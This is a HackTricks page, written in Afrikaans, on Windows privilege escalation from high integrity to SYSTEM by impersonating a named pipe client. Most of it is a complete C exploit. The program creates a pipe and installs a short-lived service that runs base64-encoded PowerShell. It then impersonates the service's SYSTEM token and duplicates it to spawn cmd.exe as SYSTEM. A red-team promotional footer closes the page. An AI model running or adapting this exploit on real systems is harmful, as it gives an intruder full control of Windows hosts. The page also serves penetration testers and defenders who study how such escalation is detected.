hacktricks/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md

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Kodevloei:

1. Skep 'n nuwe Pyp
2. Skep en begin 'n diens wat sal verbind met die geskepte pyp en iets sal skryf. Die dienskode sal hierdie gekodeerde PS-kode uitvoer: $pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();
3. Die diens ontvang die data van die kliënt in die pyp, roep ImpersonateNamedPipeClient aan en wag vir die diens om klaar te maak
4. Uiteindelik gebruik dit die token wat van die diens verkry is om 'n nuwe cmd.exe te spawn

{% hint style="warning" %} As jy nie genoeg bevoegdhede het nie, kan die uitbuiting vassteek en nooit terugkeer nie. {% endhint %}

#include <windows.h>
#include <time.h>

#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")

#define PIPESRV "PiperSrv"
#define MESSAGE_SIZE 512

int ServiceGo(void) {

SC_HANDLE scManager;
SC_HANDLE scService;

scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);

if (scManager == NULL) {
return FALSE;
}

// create Piper service
scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
NULL, NULL, NULL, NULL, NULL);

if (scService == NULL) {
//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
return FALSE;
}

// launch it
StartService(scService, 0, NULL);

// wait a bit and then cleanup
Sleep(10000);
DeleteService(scService);

CloseServiceHandle(scService);
CloseServiceHandle(scManager);
}

int main() {

LPCSTR sPipeName = "\\\\.\\pipe\\piper";
HANDLE hSrvPipe;
HANDLE th;
BOOL bPipeConn;
char pPipeBuf[MESSAGE_SIZE];
DWORD dBRead = 0;

HANDLE hImpToken;
HANDLE hNewToken;
STARTUPINFOA si;
PROCESS_INFORMATION pi;

// open pipe
hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);

// create and run service
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);

// wait for the connection from the service
bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
if (bPipeConn) {
ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);

// impersonate the service (SYSTEM)
if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
return -1;
}

// wait for the service to cleanup
WaitForSingleObject(th, INFINITE);

// get a handle to impersonated token
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
return -2;
}

// create new primary token for new process
if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,
TokenPrimary, &hNewToken)) {
return -4;
}

//Sleep(20000);
// spawn cmd.exe as full SYSTEM user
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL,
NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
return -5;
}

// revert back to original security context
RevertToSelf();

}

return 0;
}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
• Kry die amptelike PEASS & HackTricks swag
• Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
• Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud GitHub-opslagplekke.